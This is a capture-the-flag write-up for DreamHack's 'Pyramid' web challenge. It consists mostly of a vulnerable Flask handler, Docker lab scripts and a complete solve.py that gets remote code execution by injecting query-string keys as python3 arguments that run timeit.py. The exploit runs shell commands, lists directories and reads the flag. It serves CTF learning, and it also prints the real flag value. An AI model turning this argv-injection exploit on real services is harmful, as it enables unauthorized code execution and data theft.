[🥇 Gold 4] 쿼리스트링 키가 argv 가 된다 — DreamHack Pyramid 풀이

subprocess.run("ls " + user_input, shell=True)   # /bin/sh -c "..." 로 간다
subprocess.run(["ls", user_input])               # execve 로 바로 간다

cat -n extracted/app.py

cmd = ['python3'] + list(request.args.keys())
cmd[1] += '.py'
 
filter_codes = ['`', '$', '<', '>', '|', '&', '{', '}', '=', '*', '?', '!', ';', '"', ',', '\n']
for filter_code in filter_codes:
    for arg in cmd:
        if filter_code in arg:
            return 'No hack _(:3)J'
 
if os.path.exists(cmd[1]) == False:
    return 'No such file _(:3)J'
 
response = subprocess.run(
    cmd, capture_output=True, text=True
)
return response.stdout

mkdir -p local
cp extracted/app.py extracted/requirements.txt local/
sed 's|DH{this_is_not_real_flag}|DH{local_test_flag_pyramid_1304}|' extracted/Dockerfile > local/Dockerfile
docker build -t pyramid-1304 local/
docker run -d --name pyramid-1304 -p 9304:9000 pyramid-1304

#!/usr/bin/env bash
# Local lab sanity check -- the challenge image built from the distributed
# Dockerfile, with the placeholder flag swapped for a sentinel.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
docker ps --filter name=pyramid-1304 --format 'container {{.Names}}  {{.Status}}  {{.Ports}}'
echo "[bare /]      HTTP $(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:9304/)"
echo "[?app]        $(curl -s 'http://127.0.0.1:9304/?app' | tr -d '\r' | tr '\n' ' ')"
echo "[?nope]       $(curl -s 'http://127.0.0.1:9304/?nope')"
echo "[?app&;ls]    $(curl -s 'http://127.0.0.1:9304/?app&;ls')"
echo "[traceback]   $(docker logs pyramid-1304 2>&1 | grep -a IndexError | tail -1)"

./lab_check.sh

#!/usr/bin/env bash
# The four attempts that did not work, re-run against the local lab.
set -eu
B=http://127.0.0.1:9304
T=%2Fusr%2Flocal%2Flib%2Fpython3.11%2Ftimeit
echo "[1] ?-c&print(1)            -> $(curl -s "$B/?-c&print(1)")"
echo "[2] ?app&-c&print(1)        -> $(curl -s "$B/?app&-c&print(1)" | tr '\n' ' ')"
echo "[3] ?timeit&--number%3D2&.. -> $(curl -s "$B/?$T&--number%3D2&print(1)")"
echo "[4] ?timeit&-r&1&-n&1&..    -> '$(curl -s "$B/?$T&-r&1&-n&1&print(1)")'  (stdout 이 비었다)"
echo -n "    flask 가 보는 키 순서   -> "
python3 -c 'from urllib.parse import parse_qsl
from werkzeug.datastructures import MultiDict
print(list(MultiDict(parse_qsl("timeit&-r&1&-n&1&stmt", keep_blank_values=True)).keys()))'

./deadends.sh

docker exec pyramid-1304 grep -n -E "args = sys\.argv|^    stmt = |t = Timer\(stmt|src = template\.format|code = compile|exec\(code" /usr/local/lib/python3.11/timeit.py

#!/usr/bin/env python3
"""Pyramid - recon helper.  Reuses solve.py's request primitives.
 
  [filter]  which of the blacklisted bytes actually come back as "No hack"
  [oracle]  sweep candidate stdlib locations through os.path.exists()
  [argv]    what the server's python3 really received (/proc/self/cmdline)
  [ls]      deployment layout under /app
"""
import sys
 
import solve
 
base = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9304").rstrip("/")
one = lambda stmt: solve.run(base, stmt).split("\n")[0]
 
print("[filter] ';' ->", solve.get(base, ["app", ";ls"]).strip())
print("[filter] '=' ->", solve.get(base, ["app", "--help=x"]).strip())
print("[filter] ' ' ->", solve.get(base, ["app", "-c print(1)"]).split("\n")[0].strip(), "(space is not filtered)")
 
print("[oracle] sweeping stdlib locations")
for libdir in solve.LIBDIRS:
    for ver in solve.VERSIONS:
        cand = "%s/python%s/timeit" % (libdir, ver)
        hit = "No such file" not in solve.get(base, [cand, "-h"])
        print("    %-36s %s" % (cand + ".py", "FOUND" if hit else "-"))
 
solve.TIMEIT = solve.find_timeit(base)
print("[timeit] using", solve.TIMEIT + ".py")
print("[argv]  ", one("print(open('/proc/self/cmdline').read().split(chr(0)))"))
print("[ls]    ", one("print(__import__('os').listdir('/app'))"))

python3 probe.py http://host3.dreamhack.games:23362

['python3', '/usr/local/lib/python3.11/timeit.py', '-r', '1', '-n', '2',
 "print(open('/proc/self/cmdline').read().split(chr(0)))", '']

#!/usr/bin/env python3
"""Pyramid (DreamHack Gold 4, web) - argv injection into `python3`.
 
    cmd = ['python3'] + list(request.args.keys())
    cmd[1] += '.py'
    subprocess.run(cmd, capture_output=True, text=True)
 
cmd[1] is forced to be the script, so python's own options can never come
first.  But os.path.exists(cmd[1]) accepts an absolute path, so cmd[1] can
point at any .py in the standard library -- and timeit.py's CLI takes a
python statement as a positional argument.
 
    python3 /usr/local/lib/python3.11/timeit.py -r 1 -n 2 "<statement>"
 
The blacklist (` $ < > | & { } = * ? ! ; " , and newline) never matters:
subprocess.run gets a list, so there is no shell.  The only real losses are
'=' (no --opt=value) and ',' (no multi-argument calls or list literals).
 
Usage:  python3 solve.py http://host1.dreamhack.games:PORT
"""
import re
import sys
import urllib.parse
import urllib.request
 
# '&' and '=' split the query string, '+' decodes to a space, '%' and '#'
# are structural, and a bare space is illegal in a request line -- everything
# else may travel through a key verbatim.
SAFE = "/.:()'[]-_"
 
# `python:X-slim` keeps the stdlib under /usr/local; a distro python keeps it
# under /usr/lib.  We do not have to guess: the handler answers "No such file"
# when os.path.exists(cmd[1]) fails, which is a free existence oracle.
LIBDIRS = ["/usr/local/lib", "/usr/lib"]
VERSIONS = ["3.13", "3.12", "3.11", "3.10", "3.9", "3.8"]
TIMEIT = None
 
 
def get(base, keys):
    qs = "&".join(urllib.parse.quote(k, safe=SAFE) for k in keys)
    with urllib.request.urlopen(base.rstrip("/") + "/?" + qs, timeout=30) as r:
        return r.read().decode(errors="replace")
 
 
def find_timeit(base):
    """Locate timeit.py through the handler's own os.path.exists() check."""
    for libdir in LIBDIRS:
        for ver in VERSIONS:
            cand = "%s/python%s/timeit" % (libdir, ver)
            if "No such file" not in get(base, [cand, "-h"]):
                return cand
    raise SystemExit("[!] timeit.py not found in any known stdlib location")
 
 
def run(base, stmt, loops="2", repeats="1"):
    """Execute one python statement on the target and return its stdout."""
    keys = [TIMEIT, "-r", repeats, "-n", loops, stmt]
    # keys must stay unique: Flask's MultiDict collapses duplicates and the
    # surviving order is what lands in argv.  "-r 1 -n 1" would silently
    # become "-r 1 -n", eating the statement as -n's operand.
    assert len(set(keys)) == len(keys), "duplicate key would be dropped"
    return get(base, keys)
 
 
def main():
    global TIMEIT
    base = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9304"
 
    TIMEIT = find_timeit(base)
    print("[*] stdlib timeit:", TIMEIT + ".py")
    print("[*] RCE check:", run(base, "print(__import__('os').popen('id').read())").split("\n")[0])
 
    cands = []
    for d in ("/", "/app"):
        out = run(base, "print(__import__('os').listdir('%s'))" % d)
        names = re.findall(r"'([^']+)'", out.split("\n")[0])
        print("[*] listdir(%s) = %s" % (d, names))
        cands += [(d.rstrip("/") + "/" + n) for n in names if "flag" in n.lower()]
 
    print("[*] flag candidates:", cands)
    for path in cands:
        out = run(base, "print(open('%s').read())" % path)
        m = re.search(r"DH\{[^}]*\}", out)
        if m:
            print("[+] %s -> %s" % (path, m.group(0)))
            return 0
        print("[-] %s -> no DH{...}" % path)
    print("[!] flag not found")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

python3 solve.py http://host3.dreamhack.games:23362

#!/usr/bin/env bash
# Pyramid (DreamHack 1304, Gold 4, web) -- one-shot reproduction.
#
#   ./reproduce.sh                                  local docker, sentinel flag
#   ./reproduce.sh http://host3.dreamhack.games:PORT  live VM, real flag
#
# The real flag lives only inside the DreamHack VM, so the offline run proves
# the exploit chain against a locally built copy of the challenge image and
# checks for the sentinel flag it bakes in.  It never claims the real flag.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
REAL='DH{there_is_/lib/python3.11/timeit.py}'
SENTINEL='DH{local_test_flag_pyramid_1304}'
 
if [ $# -ge 1 ]; then
  TARGET="$1"; EXPECT="$REAL"; MODE="live"
else
  TARGET="http://127.0.0.1:9304"; EXPECT="$SENTINEL"; MODE="local"
  echo "[*] building local copy of the challenge image"
  mkdir -p local
  cp extracted/app.py extracted/requirements.txt local/
  sed "s|DH{this_is_not_real_flag}|$SENTINEL|" extracted/Dockerfile > local/Dockerfile
  docker build -q -t pyramid-1304 local/ >/dev/null
  docker rm -f pyramid-1304 >/dev/null 2>&1 || true
  docker run -d --name pyramid-1304 -p 9304:9000 pyramid-1304 >/dev/null
  trap 'docker rm -f pyramid-1304 >/dev/null 2>&1 || true' EXIT
  for _ in $(seq 1 30); do
    curl -sf -o /dev/null "$TARGET/?app" && break
    sleep 1
  done
fi
 
echo "[*] mode=$MODE target=$TARGET"
OUT=$(timeout 300 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "${FLAG:-}" = "$EXPECT" ]; then
  echo
  if [ "$MODE" = local ]; then
    echo "✅ PASS  chain works; local sentinel recovered: $FLAG"
    echo "         (real flag is server-side only: $REAL)"
  else
    echo "✅ PASS  $FLAG"
  fi
  exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1

./reproduce.sh